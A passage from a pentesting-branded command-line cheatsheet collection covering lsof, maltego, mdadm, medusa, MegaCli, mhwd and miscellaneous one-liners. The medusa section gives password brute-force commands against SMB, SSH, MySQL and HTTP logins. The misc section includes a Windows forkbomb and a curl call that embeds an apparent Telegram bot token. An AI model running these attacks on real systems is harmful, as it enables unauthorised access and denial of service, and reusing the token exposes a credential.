#                ╚══════╝╚══════╝ ╚═════╝ ╚═╝     
                

# List all IPv4 network files
sudo lsof -i4

# List all IPv6 network files
sudo lsof -i6

# List all open sockets
lsof -i

# List all listening ports
lsof -Pnl +M -i4

# Find which program is using the port 80
lsof -i TCP:80

# List all connections to a specific host
lsof [email protected]

# List all processes accessing a particular file/directory
lsof </path/to/file>

# List all files open for a particular user
lsof -u <username>

# List all files/network connections a command is using
lsof -c <command-name>

# List all files a process has open
lsof -p <pid>

# List all files open mounted at /mount/point.
# Particularly useful for finding which process(es) are using a
# mounted USB stick or CD/DVD.
lsof +f -- </mount/point>

# See this primer: http://www.danielmiessler.com/study/lsof/
# for a number of other useful lsof tips

#==============================#
# CMD LSOF 
#==============================##==============================#
lsof -a -i -u xyz
# allen Internetsockets interessiert die von Prozessen mit UID xyz geöffnet

lsof -d cwd,^0,^1,^2
#

lsof -p $pid
#

lsof +D /var/lib/apt/lists
# Show what files or filehandles are open in the specified directory.

lsof -Pan -i tcp -i udp
# Show all programs listening TCP/UDP ports. You may want to run this with superuser privileges.

lsof -i TCP:80
# Show what processes are using port 80 either locally or remotely. Need to be root for unowned processes.

lsof -iTCP:80 -sTCP:LISTEN
# The below command outputs, name of process/service using a specific port 80. To better understand run the following command on port 80, it will list all services/processes running on port.

# How to get lsof command
#==========================#
# lsof command generally comes pre-installed in many UNIX system. If you are getting -bash: lsof: command not found an error while using lsof then it could be that lsof is not in your PATH. just check /usr/bin or /usr/sbin folder for this command. If you don't find there then you can install it from source or you can ask your UNIX admin to do that for you.

# 1) How to list all open files by all process
#----------------------------------------------#
lsof

# Simply running lsof without any argument print all opened file and process. This is not particularly useful but a good starting point.

# 2) How to list all process which has opened a file
#-----------------------------------------------------#
lsof /home/someuser/somefile

# will list all the process which has opened this file. you can see the command, PID, user and full file path to find out the process.

# 3) How to find all opened files by a user 
#--------------------------------------------#

# You can use lsof -u command to list all opened file by a user as shown below
lsof -u username

# You can provide comma separated list of users to find list of open files by multiple users as shown below
lsof -u user1,user2,user3

# You can do the same by providing -u option multiple times :
lsof -u user1 -u user2

# Here is a summary of all 10 examples of lsof command in UNIX:
# lsof command example to find all process listening on a port

# 4) How to list all files opened by a particular command
#------------------------------------------------------------#

# You can use lsof -c option to provide name of command and list down all the files opened by that command, for example, to list all file opened by java process, you can do this :
lsof -c java

# This is better than using grep for filtering, as instead of writing lsof | grep java, you can just write lsof -c java.

# You can also find all files opened by apache which runs as httpd as shown below :
lsof -c httpd

# Just like multiple users, you can also combine multiple processes name to list down files hold by them e.g.
lsof -c java -c httpd

# 5) How to find all files opened by a particular user and command
#-------------------------------------------------------------------#

# You can combine users and process name in one lsof command to list down all the files opened by a particular process or a particular user as shown below :
lsof -u root -c java

# This will list all files opened or hold by root user + all files opened by the java process. See  The Linux Command Line: A Complete Introduction, a Linux lsof command Example

# 6) How to find files opened by USER and process
#-------------------------------------------------#

# Like previous option, you can also combine user and process by using lsof option '-a'. This is like AND logical operator and will only list files, which matches both options e.g.
lsof -a -u root - c java

# will only list files opened by java process which is running under root user

# 7) lsof with negation operator
#----------------------------------#

# Similar to AND and OR operator used earlier, you can also use negation operator with lsof command e.g.

lsof - u ^root

# will list all files opened by all user except root

# 8) How to list all open files by a process using PID
#-----------------------------------------------------#

# As I told, I mostly use lsof command to find all files opened by a particular process. In order to do that sometimes, I usually use grep command to filter lsof output by PID, but you can also use lsof -p option to do the same, as shown below :
lsof -p 17783

# will list all files opened by the process with PID 17783.

# List users and processes, you can also supply multiple PIDs to find files opened by multiple processes e.g. :
lsof -p 17783,17754,17984

# will list all files opened by the process with PIDs 17783,17754,17984. You can also see the Practical Guide to Linux Commands, Editors, and Shell Programming 3rd Edition by Mark G. Sobell to learn more about how to find a process in UNIX.

# How to use lsof command in UNIX and Linux
#==========================================#

# 9) How to list all network connection
#----------------------------------------#

# You can use lsof - i option to find all open network connections which is nothing but open internet sockets (TCP and UDP), for example
lsof -i 

# You can further find all TPC connection by using tcp option as shown below :
lsof -i tcp

# Similarly, to find all open udp connections you can do :
lsof -i udp

# will list all process with open internet sockets.

# 10) How to find which process is using a port 
#------------------------------------------------#

# Though you can do this with netstat command as well, you would be surprised to know that you can find all process using a particular TCP or UDP port using lsof command. For example :
lsof -i :19500 

# will find the process which is using TCP or UDP port 19500

# You can even names defined in etc/services instead of port number e.g.
lsof -i :smtp

# will print process using the smtp port.

# You can also combine tcp and udp with port to do more specific search e.g. to find all process in UNIX which are uses tcp port number 19600 you can do following :
lsof -i tcp:19600 

# and to find all process which is using UDP port 17600 you can use
lsof -i udp:17600

# That's all about 10 examples of lsof command in UNIX and Linux. As I said, it's incredibly useful to find the list of files opened by a particular process or to find all the process which holds a lock on a file. Since almost everything is a file in UNIX, you can use lsof to find out open socket, directory, symbolic link, internet socket and many others. You can also see lsof man page for full documentation and more options.

lsof -p 9105 | grep / | less 
# Check what files pid 9105 has opened. I was checking to see if it opened a log file somewhere.

# What process is listening on port 1521? 
lsof -P -i :1521 | grep LISTEN tnslsnr 11348 oracle 9u IPv4 158729213 0t0 TCP *:1521 (LISTEN)

# List open files
lsof -n
# Explanation: With the -n flag it will not try to resolve network numbers to host names for network files, making it run a bit faster.With the -c option you can select processes executing a matching command. And with the -t flag the output will be simply process ids without a header, suitable to use with kill. For example you can kill Google Chrome process gone crazy like this:
kill -HUP $(lsof -n -c /google/i -t)
# Here /google/i is a regular expression pattern with case insensitive matching.

# Linux shell processes discovery - to show processes which blocking files on file system (in the example filter by specific value)
lsof -n | awk '/sess_/'

lsof -i TCP:80 
# Show what processes are using port 80 either locally or remotely. Need to be root for unowned processes.

lsof -Pan -i tcp -i udp 
# show all listening TCP/UDP ports

# Show 10 Largest Open Files
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB" " " $9 " " $1 }' | sort -n -u | tail
# Explanation: Show the largest 10 currently open files, the size of those files in Megabytes, and the name of the process holding the file open.

# Kill a process running on port 8080
lsof -i :8080 | awk 'NR > 1 {print $2}' | xargs --no-run-if-empty kill
# Explanation: lsof lists open files (ls-o-f, get it?). lsof -i :8080 lists open files on address ending in :8080. The output looks like this
	# COMMAND  PID     USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
	# chrome  2619 qymspace  149u  IPv4  71595      0t0  TCP localhost:53878->localhost:http-alt (CLOSE_WAIT)`
        #  We use awk 'NR > 1 {print $2}' to print the second column for lines except the first. The result is a list of PIDs, which we pipe to xargs kill to kill.
# Limitations: The --no-run-if-empty option of xargs is available in GNU implementations, and typically not available in BSD implementations. Without this option, the one-liner will raise an error if there are no matches (no PIDs to kill).

## Related one-liners

# Kill a process running on port 8080
lsof -i :8080 | awk '{print $2}' | tail -n 1 | xargs kill

# Explanation: lsof lists open files (ls-o-f, get it?). lsof -i :8080 lists open files on address ending in :8080. The output looks like this
	# COMMAND  PID     USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
	# chrome  2619 qymspace  149u  IPv4  71595      0t0  TCP localhost:53878->localhost:http-alt (CLOSE_WAIT)`
        # We pipe this input through awk to print column 2 using the command awk '{print $2}' to produce the output:
                # PID
                # 2533
# To remote the word PID from this output we use tail -n 1 to grab the last row 2533, We can now pass this process id to the kill command to kill it.

lsof +D /tmp 
# Show what files or filehandles are open in the /tmp directory (if it's not a separate partition). This can be slow sometimes.

lsof -i -nlP | awk '{print $9, $8, $1}' | sed 's/.*://' | sort -u
# Find wich ports you probably want to open in your firewall on a fresh installed machine

# Print the processes that are either listening on TCP port 443 and connecting to port 443 on a remote host. Thanks @blind_coder
lsof -i TCP:443 

# Show whats going on restoring files from a spectrum protect backup - spectrum protect's dsmc command shows file names and total amount of restore. This command shows which files are actually open and their siz in GB and highlights the change to the previous output
watch -n60 -d 'lsof -w /filesysname|grep -v NAME|awk '\''{$7=int($7/1073741824) " GB"; print $7, $9}'\'''
    # Sample output
	    # Every 60.0s: lsof -w /filesysname|grep -v NAME|awk '{$7=int($7/1073741824) " GB"; print $7, $9}' 
		# Mon Sep  2 13:44:08 2019
	    # 6 GB /filesysname/dev_workspaces/tcga/data/urls_tp_2/files/79c77220-5759-41cb-8b70-8fdcd68fa856/TCGA-CG-5727-01A-11D-1598_121011_SN208_0435_BD1E43ACXX_s_3_rg.sorted.bam
	    # 10 GB /filesysname/dev_workspaces/tcga/data/urls_tp_2/files/85ca0eb9-8ca8-4f11-80e1-04c6d139c6f5/TCGA-BR-6801-01A-11D-1880_121220_SN1222_0164_BC1HJ3ACXX_s_5_rg.sorted.bam

# list current processes writing to hard drive
lsof | grep -e "[[:digit:]]\+w"

#==============================##==============================#
# CMD LSOF						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

81 - 🖥️maltego

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the maltego command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗ █████╗ ██╗  ████████╗███████╗ ██████╗  ██████╗ 
#  ████╗ ████║██╔══██╗██║  ╚══██╔══╝██╔════╝██╔════╝ ██╔═══██╗
#  ██╔████╔██║███████║██║     ██║   █████╗  ██║  ███╗██║   ██║
#  ██║╚██╔╝██║██╔══██║██║     ██║   ██╔══╝  ██║   ██║██║   ██║
#  ██║ ╚═╝ ██║██║  ██║███████╗██║   ███████╗╚██████╔╝╚██████╔╝
#  ╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝╚═╝   ╚══════╝ ╚═════╝  ╚═════╝ 

# To do a basic footprinting of a domain
Machines>"Run Machine">"Footprint L1" 

# To do a footprinting and follow the every link of a domain
Machines>"Run Machine">"Footprint L2"

# To find a person's email address from a domain
Machines>"Run Machine">"Person - Email Address"

# To create a custom attack
Machines>"New Machine"

# To create a new data type
Manage>"New Entity Type"

# To run a transform on collected data
[In the graph, right click]>"Run Transform">[Select Transform]

# To create a new way to manipulate data
Manage>"Local Transform"

# To get latest transforms from currently set servers
Manage>"Discover Transforms">"Discover Transforms"

# To get transforms from specific servers
Manage>"Discover Transforms">"Discover Transforms (Advanced)"
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

82 - 🖥️mathematica

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mathematica command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗ █████╗ ████████╗██╗  ██╗███████╗███╗   ███╗ █████╗ ████████╗██╗ ██████╗ █████╗ 
#  ████╗ ████║██╔══██╗╚══██╔══╝██║  ██║██╔════╝████╗ ████║██╔══██╗╚══██╔══╝██║██╔════╝██╔══██╗
#  ██╔████╔██║███████║   ██║   ███████║█████╗  ██╔████╔██║███████║   ██║   ██║██║     ███████║
#  ██║╚██╔╝██║██╔══██║   ██║   ██╔══██║██╔══╝  ██║╚██╔╝██║██╔══██║   ██║   ██║██║     ██╔══██║
#  ██║ ╚═╝ ██║██║  ██║   ██║   ██║  ██║███████╗██║ ╚═╝ ██║██║  ██║   ██║   ██║╚██████╗██║  ██║
#  ╚═╝     ╚═╝╚═╝  ╚═╝   ╚═╝   ╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝╚═╝  ╚═╝

# The Wolfram Language is the underlying language originally used in Mathematica,
# but now available for use in multiple contexts.

# See also:
#   Mathematica language cheat sheets at /mathematica/
#   list of pages:           /mathematica/:list
#   learn wolfram language:  /mathematica/:learn
#   search in pages:         /mathematica/~keyword
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

83 - 🖥️mdadm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mdadm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ███╗██████╗  █████╗ ██████╗ ███╗   ███╗
#                ████╗ ████║██╔══██╗██╔══██╗██╔══██╗████╗ ████║
#                ██╔████╔██║██║  ██║███████║██║  ██║██╔████╔██║
#                ██║╚██╔╝██║██║  ██║██╔══██║██║  ██║██║╚██╔╝██║
#                ██║ ╚═╝ ██║██████╔╝██║  ██║██████╔╝██║ ╚═╝ ██║
#                ╚═╝     ╚═╝╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚═╝     ╚═╝
                                                              
                                                             
# For the sake of briefness, we use Bash  "group compound" stanza:
#   /dev/sd{a,b,...}1 => /dev/sda1 /dev/sdb1 ...
# Along the following variables:
#   ${M} array identifier (/dev/md${M})
#   ${D} device identifier (/dev/sd${D})
#   ${P} partition identifier (/dev/sd${D}${P})

# Create (initialize) a new array
mdadm --create /dev/md${M} --level=raid5 --raid-devices=4 /dev/sd{a,b,c,d,e}${P} --spare-devices=/dev/sdf1

# Manually assemble (activate) an existing array
mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P}

# Automatically assemble (activate) all existing arrays
mdadm --assemble --scan

# Stop an assembled (active) array
mdadm --stop /dev/md${M}

# See array configuration
mdadm --query /dev/md${M}

# See array component configuration (dump superblock content)
mdadm --query --examine /dev/sd${D}${P}

# See detailed array confiration/status
mdadm --detail /dev/md${M}

# Save existing arrays configuration
# (MAY be required by initrd for successfull boot)
mdadm --detail --scan > /etc/mdadm/mdadm.conf

# Erase array component superblock
# (MUST do before reusing a partition for other purposes)
mdadm --zero-superblock /dev/sd${D}${P}

# Manually mark a component as failed
# (SHOULD when a device shows wear-and-tear signs, e.g. through SMART)
mdadm --manage /dev/md${M} --fail /dev/sd${D}${P}

# Remove a failed component
# (SHOULD before preemptively replacing a device, after failing it)
mdadm --manage /dev/md${M} --remove /dev/sd${D}${P}

# Prepare (format) a new device to replace a failed one
sfdisk -d /dev/sd${D,sane} | sfdisk /dev/sd${D,new}

# Add new component to an existing array
# (this will trigger the rebuild)
mdadm --manage /dev/md${M} --add /dev/sd${D,new}${P}

# See assembled (active) arrays status
cat /proc/mdstat

# Rename a device
# (SHOULD after hostname change; eg. name="$(hostname -s)")
mdadm --assemble /dev/md${M} /dev/sd{a,b,c,d,e}${P} --name="${name}:${M}" --update=name

#==============================##==============================#
# CMD MDADM					       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

84 - 🖥️medusa

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the medusa command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗███████╗██████╗ ██╗   ██╗███████╗ █████╗ 
#  ████╗ ████║██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
#  ██╔████╔██║█████╗  ██║  ██║██║   ██║███████╗███████║
#  ██║╚██╔╝██║██╔══╝  ██║  ██║██║   ██║╚════██║██╔══██║
#  ██║ ╚═╝ ██║███████╗██████╔╝╚██████╔╝███████║██║  ██║
#  ╚═╝     ╚═╝╚══════╝╚═════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝

# To display all currently installed modules
medusa -d

# Display specific options for a module
medusa -M [module_name] -q

# Test all passwords in password file against the admin user on the host
# 192.168.1.20 via the SMB | SSH | MySQL | HTTP service 
medusa -h 192.168.1.20 -u admin -P passwords.txt -M [smbnt | ssh | mssql | http]

# To brute force 10 hosts and 5 users concurrently (using Medusa's parallel features)
# Each of the 5 threads targeting a host will check a specific user
medusa -H hosts.txt -U users.txt -P passwords.txt -T 10 -t 5 -L -F -M smbnt

# Medusa allows username, password, and host data to be placed within the same file (the "combo" file).
# Possible combinations in the combo file:

# host:username:password
# host:username:
# host::
# :username:password
# :username:
# ::password
# host::password
# :id:lm:ntlm::: (PwDump files)

# To test each username/password entry in the file combo.txt
medusa -M smbnt -C combo.txt
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

85 - 🖥️MegaCli

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the MegaCli command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗███████╗ ██████╗  █████╗  ██████╗██╗     ██╗
#  ████╗ ████║██╔════╝██╔════╝ ██╔══██╗██╔════╝██║     ██║
#  ██╔████╔██║█████╗  ██║  ███╗███████║██║     ██║     ██║
#  ██║╚██╔╝██║██╔══╝  ██║   ██║██╔══██║██║     ██║     ██║
#  ██║ ╚═╝ ██║███████╗╚██████╔╝██║  ██║╚██████╗███████╗██║
#  ╚═╝     ╚═╝╚══════╝ ╚═════╝ ╚═╝  ╚═╝ ╚═════╝╚══════╝╚═╝

# MegaCli introduced by LSI as a command line administration of LSI MegaRaid controllers.
# With megacli we can create physical raids, gather info about raids and monitor raids. 

# Install MegaCLI
yum install MegaCli # CentOS
apt-get install megacli # Ubuntu

# Controller information
MegaCli -AdpAllInfo -aALL
MegaCli -CfgDsply -aALL

# Enclosure information
MegaCli -EncInfo -aALL

# Virtual drive information
MegaCli -LDInfo -Lall -aALL

# Physical drive information
MegaCli -PDList -aALL
MegaCli -PDInfo -PhysDrv [E:S] -aALL

# Battery backup information
MegaCli -AdpBbuCmd -aALL
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

86 - 🖥️mhwd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the mhwd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███╗   ███╗██╗  ██╗██╗    ██╗██████╗ 
#  ████╗ ████║██║  ██║██║    ██║██╔══██╗
#  ██╔████╔██║███████║██║ █╗ ██║██║  ██║
#  ██║╚██╔╝██║██╔══██║██║███╗██║██║  ██║
#  ██║ ╚═╝ ██║██║  ██║╚███╔███╔╝██████╔╝
#  ╚═╝     ╚═╝╚═╝  ╚═╝ ╚══╝╚══╝ ╚═════╝ 

# Manjaro Hardware Detection
# https://wiki.manjaro.org/index.php?title=Manjaro_Hardware_Detection_Overview

# An overview of hardware
mhwd

# List hardware information
# in detailed mode (-d)
mhwd -lh -d

# List installed driver information
mhwd -li -d

# Automated detection and installation of Graphics Drivers
# https://wiki.manjaro.org/index.php?title=Configure_Graphics_Cards

# Best available proprietary driver for a pci-connected graphics card
sudo mhwd -a pci nonfree 0300

# Best available free driver for a pci-connected graphics card
sudo mhwd -a pci free 0300
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

87 - 🖥️misc

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the misc command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███╗   ███╗██╗███████╗ ██████╗
#                ████╗ ████║██║██╔════╝██╔════╝
#                ██╔████╔██║██║███████╗██║     
#                ██║╚██╔╝██║██║╚════██║██║     
#                ██║ ╚═╝ ██║██║███████║╚██████╗
#                ╚═╝     ╚═╝╚═╝╚══════╝ ╚═════╝
                                              
                                            

# list bosh2 deployments
bosh deployments --json | jq '.Tables[0].Rows[][0]' --raw-output

geoiplookup 73.250.181.107 
# Find out what country/state/city an IP is probably "located" in. No browser required (geoip-bin dpkg)

rlwrap nc smtp.example 25 
# Use rlwrap to add readline functionality to nc (or other cmds). 

`gunzip -c /var/log/apt/history.log.*.gz | grep 'apt-get install' | cut -f4- -d" " | tr ' ' $'\n' | sort -u`
# Installed packages

[[ $( find $HOME/output -type f -mmin -5 | wc -l ) -eq 0 ]] && pkill -f '/usr/bin/whatever' 
# Kill process if its not updating files (5 min)

echo 12-13-14-15 | tr -s "-" "."

/^[^#]+
# Using this search regex in 'less' will highlight the lines that are not comments starting with '#'. Can be useful for picking out configuration lines while viewing a file.

# Message2telegram
curl -X 10.254.253.160:8080 --silent --output /dev/null --data-urlencode "chat_id=454740953" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"ll

n=0;while : $((n++));do printf "%0${n}d"|grep -qP "^0?$|^(00+?)\1+$"||echo $n;done

t=$(($(tput cols)/3));for FR in $(seq $(tput lines));do printf "\e[44m%${t}s\e[47m%${t}s\e[41m%${t}s\e[0m\n";done
# French Flag #BastilleDay

x="ABCDEF,BBCCDD" 
for y in `echo $x | sed 's/,/ /g'`; do echo -e "$y\c" | sed 's/\(..\)../\1QW/'; echo -e ",\c"; done | sed 's/,$//'

xdg-open 
# will open a file from the commandline using the application associated with its file extension.

s/\p{Cyrillic}/?/g
# Perl regex to replace all Cyrillic characters with question marks

!?foo 
# it will repeat the most recent command that contained the string 'foo'. In bash,  will repeat the most recent command that contained the string 'foo'.

apt install debsecan
debsecan | grep "high urgency" | grep "remotely exploitable" | sed 's/^[^\ ]*\ //' | sed 's/\ .*//' | sort | uniq 

#########################
# Forkbomb
################################

%0|%0
oder

 @echo off
 :start
 start "Forkbomb" /high %0
 goto start

./configure --help | grep -P "^ +--with-(?!(poll|select))[^=]+(_module( |$)| (module|support)$)" | sed -r 's/((dis|en)able|build) /# /'
# Nginx - print all optional modules before compilation
wget http://nginx.org/download/nginx-1.15.3.tar.gz && tar -xzf 1.15.3.tar.gz && cd nginx-1.15.3 

This is sample output - yours may be different.
  --with-threads                     # thread pool support
  --with-file-aio                    # file AIO support
  --with-http_ssl_module             # ngx_http_ssl_module
  --with-http_v2_module              # ngx_http_v2_module
  --with-http_realip_module          # ngx_http_realip_module
  --with-http_addition_module        # ngx_http_addition_module
  --with-http_xslt_module            # ngx_http_xslt_module
  --with-http_image_filter_module    # ngx_http_image_filter_module
  --with-http_geoip_module           # ngx_http_geoip_module
  --with-http_sub_module             # ngx_http_sub_module
  --with-http_dav_module             # ngx_http_dav_module
  --with-http_flv_module             # ngx_http_flv_module
  --with-http_mp4_module             # ngx_http_mp4_module
  --with-http_gunzip_module          # ngx_http_gunzip_module
  --with-http_gzip_static_module     # ngx_http_gzip_static_module
  --with-http_auth_request_module    # ngx_http_auth_request_module
  --with-http_random_index_module    # ngx_http_random_index_module
  --with-http_secure_link_module     # ngx_http_secure_link_module
  --with-http_degradation_module     # ngx_http_degradation_module
